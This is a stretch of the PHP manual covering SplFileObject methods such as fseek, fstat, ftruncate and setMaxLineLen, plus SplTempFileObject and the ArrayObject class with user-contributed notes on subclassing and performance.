If only one parameter is passed to this method, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

Examples

Example #1 SplFileObject::fscanf() example

<?php
$file = new SplFileObject("misc.txt");
while ($userinfo = $file->fscanf("%s %s %s")) {
    list ($name, $profession, $countrycode) = $userinfo;
    // Do something with $name $professi
}
?>

Contents of users.txt

javier   argonaut    pe
hiroshi  sculptor    jp
robert   slacker     us
luigi    florist     it

See Also

  • fscanf() - Parses input from a file according to a format

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fputcsv
SplFileObject::fseek
SplFileObject


Seek to a position

SplFileObject::fscanf
SplFileObject::fstat
SplFileObject
PHP Manual

SplFileObject::fseek

(PHP 5 >= 5.1.0)

SplFileObject::fseek — Seek to a position

Description

public int SplFileObject::fseek ( int $offset [, int $whence = SEEK_SET ] )

Seek to a position in the file measured in bytes from the beginning of the file, obtained by adding offset to the position specified by whence.

Parameters

offset

The offset. A negative value can be used to move backwards through the file which is useful when SEEK_END is used as the whence value.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

If whence is not specified, it is assumed to be SEEK_SET.

Return Values

Returns 0 if the seek was successful, -1 otherwise. Note that seeking past EOF is not considered an error.

Examples

Example #1 SplFileObject::fseek() example

<?php
$file = new SplFileInfo("somefile.txt");

// Read first line
$data = $file->fgets();

// Move back to the beginning of the file
// Same as $file->rewind();
$file->fseek(0);
?>

See Also

  • fseek() - Seeks on a file pointer

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fscanf
SplFileObject::fstat
SplFileObject


Gets information about the file

SplFileObject::fseek
SplFileObject::ftell
SplFileObject
PHP Manual

SplFileObject::fstat

(PHP 5 >= 5.1.0)

SplFileObject::fstat — Gets information about the file

Description

public array SplFileObject::fstat ( void )

Gathers the statistics of the file. Behaves identically to fstat().

Parameters

This function has no parameters.

Return Values

Returns an array with the statistics of the file; the format of the array is described in detail on the stat() manual page.

Examples

Example #1 SplFileObject::fstat() example

<?php
$file = new SplFileObject("/etc/passwd");
$stat = $file->fstat();

// Print only the associative part
print_r(array_slice($stat, 13));

?>

The above example will output something similar to:

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

See Also

  • fstat() - Gets information about a file using an open file pointer
  • stat() - Gives information about a file

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fseek
SplFileObject::ftell
SplFileObject


Return current file position

SplFileObject::fstat
SplFileObject::ftruncate
SplFileObject
PHP Manual

SplFileObject::ftell

(PHP 5 >= 5.1.0)

SplFileObject::ftell — Return current file position

Description

public int SplFileObject::ftell ( void )

Returns the position of the file pointer which represents the current offset in the file stream.

Parameters

This function has no parameters.

Return Values

Returns the position of the file pointer as an integer, or FALSE on error.

Examples

Example #1 SplFileObject::ftell() example

<?php
$file = new SplFileObject("/etc/passwd");

// Read first line
$data = $file->fgets();

// Where are we?
echo $file->ftell();
?>

See Also

  • ftell() - Returns the current position of the file read/write pointer

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fstat
SplFileObject::ftruncate
SplFileObject


Truncates the file to a given length

SplFileObject::ftell
SplFileObject::fwrite
SplFileObject
PHP Manual

SplFileObject::ftruncate

(PHP 5 >= 5.1.0)

SplFileObject::ftruncate — Truncates the file to a given length

Description

public bool SplFileObject::ftruncate ( int $size )

Truncates the file to size bytes.

Parameters

size

The size to truncate to.

Note:

If size is larger than the file it is extended with null bytes.

If size is smaller than the file, the extra data will be lost.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SplFileObject::ftruncate() example

<?php
// Create file containing "Hello World!"
$file = new SplFileObject("/tmp/ftruncate", "w+");
$file->fwrite("Hello World!");

// Truncate to 5 bytes
$file->ftruncate(5);

// Rewind and read data
$file->rewind();
echo $file->fgets();
?>

The above example will output something similar to:

Hello

See Also

  • ftruncate() - Truncates a file to a given length

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::ftell
SplFileObject::fwrite
SplFileObject


Write to file

SplFileObject::ftruncate
SplFileObject::getChildren
SplFileObject
PHP Manual

SplFileObject::fwrite

(PHP 5 >= 5.1.0)

SplFileObject::fwrite — Write to file

Description

public int SplFileObject::fwrite ( string $str [, int $length ] )

Writes the contents of string to the file

Parameters

str

The string to be written to the file.

length

If the length argument is given, writing will stop after length bytes have been written or the end of string is reached, whichever comes first.

Return Values

Returns the number of bytes written, or NULL on error.

Examples

Example #1 SplFileObject::fwrite() example

<?php
$file = new SplFileObject("fwrite.txt", "w");
$written = $file->fwrite("12345");
echo "Wrote $written bytes to file";
?>

The above example will output something similar to:

Wrote 5 bytes to file

See Also

  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::ftruncate
SplFileObject::getChildren
SplFileObject


No purpose

SplFileObject::fwrite
SplFileObject::getCsvControl
SplFileObject
PHP Manual

SplFileObject::getChildren

(PHP 5 >= 5.1.0)

SplFileObject::getChildren — No purpose

Description

public void SplFileObject::getChildren ( void )

An SplFileObject does not have children so this method returns NULL.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • RecursiveIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::fwrite
SplFileObject::getCsvControl
SplFileObject


Get the delimiter and enclosure character for CSV

SplFileObject::getChildren
SplFileObject::getCurrentLine
SplFileObject
PHP Manual

SplFileObject::getCsvControl

(PHP 5 >= 5.2.0)

SplFileObject::getCsvControl — Get the delimiter and enclosure character for CSV

Description

public array SplFileObject::getCsvControl ( void )

Gets the delimiter and enclosure character used for parsing CSV fields.

Parameters

This function has no parameters.

Return Values

Returns an indexed array containing the delimiter and enclosure character.

Examples

Example #1 SplFileObject::getCsvControl() example

<?php
$file = new SplFileObject("data.txt");
print_r($file->getCsvControl());
?>

The above example will output something similar to:

Array
(
    [0] => ,
    [1] => "
)

See Also

  • SplFileObject::setCsvControl() - Set the delimiter and enclosure character for CSV
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::getChildren
SplFileObject::getCurrentLine
SplFileObject


Alias of SplFileObject::fgets

SplFileObject::getCsvControl
SplFileObject::getFlags
SplFileObject
PHP Manual

SplFileObject::getCurrentLine

(PHP 5 >= 5.1.2)

SplFileObject::getCurrentLine — Alias of SplFileObject::fgets()

Description

This method is an alias of SplFileObject::fgets().

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::getCsvControl
SplFileObject::getFlags
SplFileObject


Gets flags for the SplFileObject

SplFileObject::getCurrentLine
SplFileObject::getMaxLineLen
SplFileObject
PHP Manual

SplFileObject::getFlags

(PHP 5 >= 5.1.0)

SplFileObject::getFlags — Gets flags for the SplFileObject

Description

public int SplFileObject::getFlags ( void )

Gets the flags set for an instance of SplFileObject as an integer.

Parameters

This function has no parameters.

Return Values

Returns an integer representing the flags.

Examples

Example #1 SplFileObject::getFlags() example

<?php
$file = new SplFileObject(__FILE__, "r");

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
    echo "Skipping empty lines\n";
} else {
    echo "Not skipping empty lines\n";
}

$file->setFlags(SplFileObject::SKIP_EMPTY);

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
    echo "Skipping empty lines\n";
} else {
    echo "Not skipping empty lines\n";
}
?>

The above example will output something similar to:

Not skipping empty lines
Skipping empty lines

See Also

  • SplFileObject::setFlags() - Sets flags for the SplFileObject

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::getCurrentLine
SplFileObject::getMaxLineLen
SplFileObject


Get maximum line length

SplFileObject::getFlags
SplFileObject::hasChildren
SplFileObject
PHP Manual

SplFileObject::getMaxLineLen

(PHP 5 >= 5.1.0)

SplFileObject::getMaxLineLen — Get maximum line length

Description

public int SplFileObject::getMaxLineLen ( void )

Gets the maximum line length as set by SplFileObject::setMaxLineLen().

Parameters

This function has no parameters.

Return Values

Returns the maximum line length if one has been set with SplFileObject::setMaxLineLen(), default is 0.

Examples

Example #1 SplFileObject::getMaxLineLen() example

<?php
$file = new SplFileObject("file.txt");
var_dump($file->getMaxLineLen());

$file->setMaxLineLen(20);
var_dump($file->getMaxLineLen());
?>

The above example will output something similar to:

int(0)
int(20)

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::getFlags
SplFileObject::hasChildren
SplFileObject


SplFileObject does not have children

SplFileObject::getMaxLineLen
SplFileObject::key
SplFileObject
PHP Manual

SplFileObject::hasChildren

(PHP 5 >= 5.1.2)

SplFileObject::hasChildren — SplFileObject does not have children

Description

public bool SplFileObject::hasChildren ( void )

An SplFileObject does not have children so this method always return FALSE.

Parameters

This function has no parameters.

Return Values

Returns FALSE

See Also

  • RecursiveIterator::hasChildren() - Returns if an iterator can be created fot the current entry.

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::getMaxLineLen
SplFileObject::key
SplFileObject


Get line number

SplFileObject::hasChildren
SplFileObject::next
SplFileObject
PHP Manual

SplFileObject::key

(PHP 5 >= 5.1.0)

SplFileObject::key — Get line number

Description

public int SplFileObject::key ( void )

Gets the current line number.

Note:

This number may not reflect the actual line number in the file if SplFileObject::setMaxLineLen() is used to read fixed lengths of the file.

Parameters

This function has no parameters.

Return Values

Returns the current line number.

Examples

Example #1 SplFileObject::key() example

<?php
$file = new SplFileObject("lipsum.txt");
foreach ($file as $line) {
    echo $file->key() . ". " . $line;
}
?>

The above example will output something similar to:

0. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
1. Duis nec sapien felis, ac sodales nisl.
2. Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Example #2 SplFileObject::key() example with SplFileObject::setMaxLineLen()

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
    echo $file->key() . ". " . $line . "\n";
}
?>

The above example will output something similar to:

0. Lorem ipsum dolor s
1. it amet, consectetu
2. r adipiscing elit.
3.

4. Duis nec sapien fel
5. is, ac sodales nisl
6. .

7. Lorem ipsum dolor s
8. it amet, consectetu
9. r adipiscing elit.

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::hasChildren
SplFileObject::next
SplFileObject


Read next line

SplFileObject::key
SplFileObject::rewind
SplFileObject
PHP Manual

SplFileObject::next

(PHP 5 >= 5.1.0)

SplFileObject::next — Read next line

Description

public void SplFileObject::next ( void )

Moves ahead to the next line in the file.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplFileObject::next() example

<?php
// Read through file line by line
$file = new SplFileObject("misc.txt");
while (!$file->eof()) {
    echo $file->current();
    $file->next();
}
?>

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::key
SplFileObject::rewind
SplFileObject


Rewind the file to the first line

SplFileObject::next
SplFileObject::seek
SplFileObject
PHP Manual

SplFileObject::rewind

(PHP 5 >= 5.1.0)

SplFileObject::rewind — Rewind the file to the first line

Description

public void SplFileObject::rewind ( void )

Rewinds the file back to the first line.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException if cannot be rewound.

Examples

Example #1 SplFileObject::rewind() example

<?php
$file = new SplFileObject("misc.txt");

// Loop over whole file
foreach ($file as $line) { }

// Rewind to first line
$file->rewind();

// Output first line
echo $file->current();
?>

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::next
SplFileObject::seek
SplFileObject


Seek to specified line

SplFileObject::rewind
SplFileObject::setCsvControl
SplFileObject
PHP Manual

SplFileObject::seek

(PHP 5 >= 5.1.0)

SplFileObject::seek — Seek to specified line

Description

public void SplFileObject::seek ( int $line_pos )

Seek to specified line in the file.

Parameters

line_pos

The zero-based line number to seek to.

Return Values

No value is returned.

Errors/Exceptions

Throws a LogicException if the line_pos is negative.

Examples

Example #1 SplFileObject::seek() example

This example outputs the third line of the script which is found at position 2.

<?php
$file = new SplFileObject(__FILE__);
$file->seek(2);
echo $file->current();
?>

The above example will output something similar to:

$file->seek(2);

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::rewind
SplFileObject::setCsvControl
SplFileObject


Set the delimiter and enclosure character for CSV

SplFileObject::seek
SplFileObject::setFlags
SplFileObject
PHP Manual

SplFileObject::setCsvControl

(PHP 5 >= 5.2.0)

SplFileObject::setCsvControl — Set the delimiter and enclosure character for CSV

Description

 public void SplFileObject::setCsvControl
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )

Sets the delimiter and enclosure character for parsing CSV fields.

Parameters

delimiter

The field delimiter (one character only).

enclosure

The field enclosure character (one character only).

escape

The field escape character (one character only).

Return Values

No value is returned.

Examples

Example #1 SplFileObject::setCsvControl() example

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl('|');
foreach ($file as $row) {
    list ($fruit, $quantity) = $row;
    // Do something with values
}
?>

Contents of data.csv

<?php
apples|20
bananas|14
cherries|87
?>

See Also

  • SplFileObject::getCsvControl() - Get the delimiter and enclosure character for CSV
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::seek
SplFileObject::setFlags
SplFileObject


Sets flags for the SplFileObject

SplFileObject::setCsvControl
SplFileObject::setMaxLineLen
SplFileObject
PHP Manual

SplFileObject::setFlags

(PHP 5 >= 5.1.0)

SplFileObject::setFlags — Sets flags for the SplFileObject

Description

public void SplFileObject::setFlags ( int $flags )

Sets the flags to be used by the SplFileObject.

Parameters

flags

Bit mask of the flags to set. See SplFileObject constants for the available flags.

Return Values

No value is returned.

Examples

Example #1 SplFileObject::setFlags() example

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $fields) {
    var_dump($fields);
}
?>

See Also

  • SplFileObject::getFlags() - Gets flags for the SplFileObject

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::setCsvControl
SplFileObject::setMaxLineLen
SplFileObject


Set maximum line length

SplFileObject::setFlags
SplFileObject::__toString
SplFileObject
PHP Manual

SplFileObject::setMaxLineLen

(PHP 5 >= 5.1.0)

SplFileObject::setMaxLineLen — Set maximum line length

Description

public void SplFileObject::setMaxLineLen ( int $max_len )

Sets the maximum length of a line to be read.

Parameters

max_len

The maximum length of a line.

Return Values

No value is returned.

Errors/Exceptions

Throws DomainException when max_len is less than zero.

Examples

Example #1 SplFileObject::setMaxLineLen() example

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
    echo $line . "\n";
}
?>

Contents of lipsum.txt

Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Duis nec sapien felis, ac sodales nisl.
Nulla vitae magna vitae purus aliquet consequat.

The above example will output something similar to:

Lorem ipsum dolor s
it amet, consectetu
r adipiscing elit.

Duis nec sapien fel
is, ac sodales nisl
.

Nulla vitae magna v
itae purus aliquet
consequat.

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::setFlags
SplFileObject::__toString
SplFileObject


Alias of SplFileObject::current

SplFileObject::setMaxLineLen
SplFileObject::valid
SplFileObject
PHP Manual

SplFileObject::__toString

(PHP 5 >= 5.1.0)

SplFileObject::__toString — Alias of SplFileObject::current()

Description

This method is an alias of SplFileObject::current().

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::setMaxLineLen
SplFileObject::valid
SplFileObject


Not at EOF

SplFileObject::__toString
SplTempFileObject
SplFileObject
PHP Manual

SplFileObject::valid

(PHP 5 >= 5.1.0)

SplFileObject::valid — Not at EOF

Description

public bool SplFileObject::valid ( void )

Check whether EOF has been reached.

Parameters

This function has no parameters.

Return Values

Returns TRUE if not reached EOF, FALSE otherwise.

Examples

Example #1 SplFileObject::valid() example

<?php
// Loop over a file, line by line
$file = new SplFileObject("file.txt");
while ($file->valid()) {
    echo $file->fgets();
}
?>

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::__toString
SplTempFileObject
SplFileObject


The SplTempFileObject class

(PHP 5 >= 5.1.2)

Introduction

The SplTempFileObject class offers an object oriented interface for a temporary file.

Class synopsis

SplTempFileObject extends SplFileObject implements SeekableIterator , Iterator , Traversable , RecursiveIterator {
/* Methods */
__construct ([ int $max_memory ] )
/* Inherited methods */
public SplFileObject::__construct ( string $filename [, string $open_mode = "r" [, bool $use_include_path = false [, resource $context ]]] )
public string|array SplFileObject::current ( void )
public bool SplFileObject::eof ( void )
public bool SplFileObject::fflush ( void )
public string SplFileObject::fgetc ( void )
 public array SplFileObject::fgetcsv
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public string SplFileObject::fgets ( void )
public string SplFileObject::fgetss ([ string $allowable_tags ] )
public bool SplFileObject::flock ( int $operation [, int &$wouldblock ] )
public int SplFileObject::fpassthru ( void )
public int SplFileObject::fputcsv ( string $fields [, string $delimiter [, string $enclosure ]] )
public mixed SplFileObject::fscanf ( string $format [, mixed &$... ] )
public int SplFileObject::fseek ( int $offset [, int $whence = SEEK_SET ] )
public array SplFileObject::fstat ( void )
public int SplFileObject::ftell ( void )
public bool SplFileObject::ftruncate ( int $size )
public int SplFileObject::fwrite ( string $str [, int $length ] )
public void SplFileObject::getChildren ( void )
public array SplFileObject::getCsvControl ( void )
public int SplFileObject::getFlags ( void )
public int SplFileObject::getMaxLineLen ( void )
public bool SplFileObject::hasChildren ( void )
public int SplFileObject::key ( void )
public void SplFileObject::next ( void )
public void SplFileObject::rewind ( void )
public void SplFileObject::seek ( int $line_pos )
 public void SplFileObject::setCsvControl
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public void SplFileObject::setFlags ( int $flags )
public void SplFileObject::setMaxLineLen ( int $max_len )
public bool SplFileObject::valid ( void )
}

Table of Contents

  • SplTempFileObject::__construct — Construct a new temporary file object

User Contributed Notes

There are no user contributed notes for this page.
SplFileObject::valid
SplTempFileObject::__construct
File Handling


Construct a new temporary file object

SplTempFileObject
Miscellaneous Classes and Interfaces
SplTempFileObject
PHP Manual

SplTempFileObject::__construct

(PHP 5 >= 5.1.2)

SplTempFileObject::__construct — Construct a new temporary file object

Description

SplTempFileObject::__construct ([ int $max_memory ] )

Construct a new temporary file object.

Parameters

max_memory

The maximum amount of memory (in bytes, default is 2 MB) for the temporary file to use. If the temporary file exceeds this size, it will be moved to a file in the system's temp directory.

If max_memory is negative, only memory will be used. If max_memory is zero, no memory will be used.

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException if an error occurs.

Examples

Example #1 SplTempFileObject() example

This example writes a temporary file in memory which can be written to and read from.

<?php
$temp = new SplTempFileObject();
$temp->fwrite("This is the first line\n");
$temp->fwrite("And this is the second.\n");
echo "Written " . $temp->ftell() . " bytes to temporary file.\n\n";

// Rewind and read what was written
$temp->rewind();
foreach ($temp as $line) {
    echo $line;
}
?>

The above example will output something similar to:

Written 47 bytes to temporary file.

This is the first line
And this is the second.

See Also

  • SplFileObject
  • PHP input/output streams (for php://temp and php://memory)

User Contributed Notes

There are no user contributed notes for this page.
SplTempFileObject
Miscellaneous Classes and Interfaces
SplTempFileObject


Miscellaneous Classes and Interfaces

Table of Contents

  • ArrayObject
  • SplObserver
  • SplSubject

Classes and interfaces which do not fit into the other SPL categories.

User Contributed Notes

There are no user contributed notes for this page.
SplTempFileObject::__construct
ArrayObject
SPL


The ArrayObject class

(PHP 5)

Introduction

This class allows objects to work as arrays.

Class synopsis

ArrayObject implements IteratorAggregate , Traversable , ArrayAccess , Serializable , Countable {
/* Constants */
const integer STD_PROP_LIST = 1 ;
const integer ARRAY_AS_PROPS = 2 ;
/* Methods */
public __construct ([ mixed $input [, int $flags [, string $iterator_class ]]] )
public void append ( mixed $value )
public void asort ( void )
public int count ( void )
public array exchangeArray ( mixed $input )
public array getArrayCopy ( void )
public int getFlags ( void )
public ArrayIterator getIterator ( void )
public string getIteratorClass ( void )
public void ksort ( void )
public void natcasesort ( void )
public void natsort ( void )
public bool offsetExists ( mixed $index )
public mixed offsetGet ( mixed $index )
public void offsetSet ( mixed $index , mixed $newval )
public void offsetUnset ( mixed $index )
public void serialize ( void )
public void setFlags ( int $flags )
public void setIteratorClass ( string $iterator_class )
public void uasort ( callback $cmp_function )
public void uksort ( callback $cmp_function )
public void unserialize ( string $serialized )
}

Predefined Constants

ArrayObject Flags

ArrayObject::STD_PROP_LIST

Properties of the object have their normal functionality when accessed as list (var_dump, foreach, etc.).

ArrayObject::ARRAY_AS_PROPS

Entries can be accessed as properties (read and write).

Changelog

Version | Description
5.3.0 | Implements Serializable.

Table of Contents

  • ArrayObject::append — Appends the value
  • ArrayObject::asort — Sort the entries by value
  • ArrayObject::__construct — Construct a new array object
  • ArrayObject::count — Get the number of public properties in the ArrayObject
  • ArrayObject::exchangeArray — Exchange the array for another one.
  • ArrayObject::getArrayCopy — Creates a copy of the ArrayObject.
  • ArrayObject::getFlags — Gets the behavior flags.
  • ArrayObject::getIterator — Create a new iterator from an ArrayObject instance
  • ArrayObject::getIteratorClass — Gets the iterator classname for the ArrayObject.
  • ArrayObject::ksort — Sort the entries by key
  • ArrayObject::natcasesort — Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::natsort — Sort entries using a "natural order" algorithm
  • ArrayObject::offsetExists — Returns whether the requested index exists
  • ArrayObject::offsetGet — Returns the value at the specified index
  • ArrayObject::offsetSet — Sets the value at the specified index to newval
  • ArrayObject::offsetUnset — Unsets the value at the specified index
  • ArrayObject::serialize — Serialize an ArrayObject
  • ArrayObject::setFlags — Sets the behavior flags.
  • ArrayObject::setIteratorClass — Sets the iterator classname for the ArrayObject.
  • ArrayObject::uasort — Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort — Sort the entries by keys using a user-defined comparison function
  • ArrayObject::unserialize — Unserialize an ArrayObject

User Contributed Notes

php5 dot man at lightning dot hu 05-Jan-2012 08:24
As you know ArrayObject is not an array so you can't use the built in array functions. Here's a trick around that:

Extend the ArrayObject class with your own and implement this magic method:

<?php
    public function __call($func, $argv)
    {
        if (!is_callable($func) || substr($func, 0, 6) !== 'array_')
        {
            throw new BadMethodCallException(__CLASS__.'->'.$func);
        }
        return call_user_func_array($func, array_merge(array($this->getArrayCopy()), $argv));
    }
?>

Now you can do this with any array_* function:
<?php
$yourObject->array_keys();
?>
- Don't forget to ommit the first parameter - it's automatic!

Note: You might want to write your own functions if you're working with large sets of data.
MarkAndrewSlade at gmail dot com 21-Aug-2011 06:05
I found the description of STD_PROP_LIST a bit vague, so I put together a simple demonstration to show its behavior:

<?php

$a = new ArrayObject(array(), ArrayObject::STD_PROP_LIST);
    $a['arr'] = 'array data';
    $a->prop = 'prop data';
$b = new ArrayObject();
    $b['arr'] = 'array data';
    $b->prop = 'prop data';

// ArrayObject Object
// (
//      [prop] => prop data
// )
print_r($a);

// ArrayObject Object
// (
//      [arr] => array data
// )
print_r($b);

?>
marijn at sensimedia dot nl 21-Jul-2011 12:34
A gotcha that is indeed mentioned in the manual, but isn't readily obvious and just cost me half an hour:

Objects implementing the Serializable interface do NOT get __sleep and __wakeup called; instead, they use serialize and unserialize methods, respectively (why, I don't know, but whatever - I'm sure there's a reason).

Hence, I was trying to serialize a database resultset in an object extending ArrayObject, and needed to fix some stuff regarding database resources on serialize. Took me a while to figure out __sleep wasn't getting called because ArrayObjects implements Serialize...

Presumably the ArrayObject internally implements the serialize/unserialize methods (in a trivial manner), hence the error wasn't apparent immediately (i.e., no fatal error was thrown) and I'd been trying to track why my objects didn't get serialized (they were of course) instead of renaming and fixing the methods.
sfinktah at php dot spamtrak dot org 17-Apr-2011 12:27
If you plan to derive your own class from ArrayObject, and  wish to maintain complete ArrayObject functionality (such as being able to cast to an array), it is necessary to use ArrayObject's own private property "storage".

Since that is impossible to do directly, you must use ArrayObject's offset{Set,Get,Exists,Unset} methods to manipulate it indirectly.

As a side benefit, this means you inherit all the iteration and other functions in complete working order.

This may sound obvious to someone who has never implemented their own ArrayObject class...  but it is far from so.

<?php

class MyArrayObject extends ArrayObject {
        static $debugLevel = 2;

        static public function sdprintf() {
                if (static::$debugLevel > 1) {
                        call_user_func_array("printf", func_get_args());
                }
        }

        public function offsetGet($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetSet($name, $value) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetExists($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetUnset($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
}

$mao = new MyArrayObject();
$mao["name"] = "bob";
$mao["friend"] = "jane";
print_r((array)$mao);

/* Output:

offsetSet(name,bob)
offsetSet(friend,jane)
Array
(
    [name] => bob
    [friend] => jane
)       */
?>

If you wish to use the "Array as Properties" flag, you simply need to include this in your constructor:

<?php parent::setFlags(parent::ARRAY_AS_PROPS); ?>

This will allow you to do things such as the below example, without overriding __get or __set .

<?php
$mao->name = "Phil";
echo $mao["name"];   /* Outputs "Phil" */
?>
rob at tdd dot org dot uk 03-Mar-2011 04:38
I don't believe the same performance is true since PHP 5.3. Using the same fill, read_key and foreach approach on both native arrays and ArrayObjects with 10000 keys I get the following

PHP 5.2

array() fill         0.013101
array() read         0.008685
array() foreach      0.004319
ArrayObject fill     0.014136
ArrayObject read     0.010003
ArrayObject foreach  3.454612

PHP 5.3

array() fill         0.010395
array() read         0.005933
array() foreach      0.001903
ArrayObject fill     0.010598
ArrayObject read     0.006387
ArrayObject foreach  0.003451

This was the code I used for both, an array or ArrayObject is passed into each of the functions. Again PEAR::Benchmark was used to get the results.

<?php
require_once 'Benchmark/Timer.php';

define('KEYS', 10000);

function fill(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $arr['key-' . $i] = $i;
    }
}

function read_key(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $v = $arr['key-' . $i];
    }
}

function fe(&$arr) {
    foreach ($arr as $key => $value) {
        $v = $value;
    }
}
?>
danbettles at yahoo dot co dot uk 23-Aug-2009 08:56
To implement array-style appending (e.g. "$object[] = 'foo';") in your own class implementing the ArrayAccess _interface_, all you need do is check if the key passed to your implementation of offsetSet() is NULL.  Something like the following.

<?php

class MyArrayObject implements ArrayAccess {

    /**
     * @var array
     */
    private $aValue;

    // ...

    /**
     * @see ArrayAccess::offsetSet()
     */
    public function offsetSet ($p_key, $p_value) {
        if (is_null($p_key)) {
            $this->aValue[] = $p_value;
        }
        else {
            $this->aValue[$p_key] = $p_value;
        }
    }

    // ...
}
?>
skrebbel at gmail dot com 18-Apr-2009 03:25
According to my benchmarks, doing foreach() on an ArrayObject is significantly slower than doing so on a vanilla array(). However, inserting keys and retrieving them is almost the same speed.

So, if performance is important, consider not using ArrayObject or descendant classes when you're iterating over its values a lot.

These are my timing results, using PEAR::Benchmark:

ArrayObject fill            0.01441502571106
ArrayObject read_key        0.018320083618164
ArrayObject read_foreach    2.1559031009674

array() fill                0.012364864349365
array() read_key            0.013092041015625
array() read_foreach        0.011217832565308

In all cases, 'fill()' inserts 10000 numbers at string keys, 'read_key()' reads all of those values by referencing the keys, and 'read_foreach()' does the same by walking through the array(object) with foreach().

As you can see, filling or reading from an ArrayObject by key is only 10% to 15% slower, but doing a foreach() is 200 times as costly. I am not sure what the cause of this may be.
nonproffessional at clockworkgeek dot com 09-Mar-2009 11:04
To get a primitive array type back from an ArrayObject you can use the member function exchangeArray() or more simply just cast it:

<?php
$object = new ArrayObject();
$object[] = "Hello World!";
// $object is now an ArrayObject with one value appended.

$array = (array) $object;
// $array is now a simple array with the single value "Hello World!".
?>
deminy at deminy dot net 02-Jan-2009 01:31
Generally variable $this can't be used as an array within an object context. For example, following code piece would cause a fatal error:

<?php
class TestThis {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestThis();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>

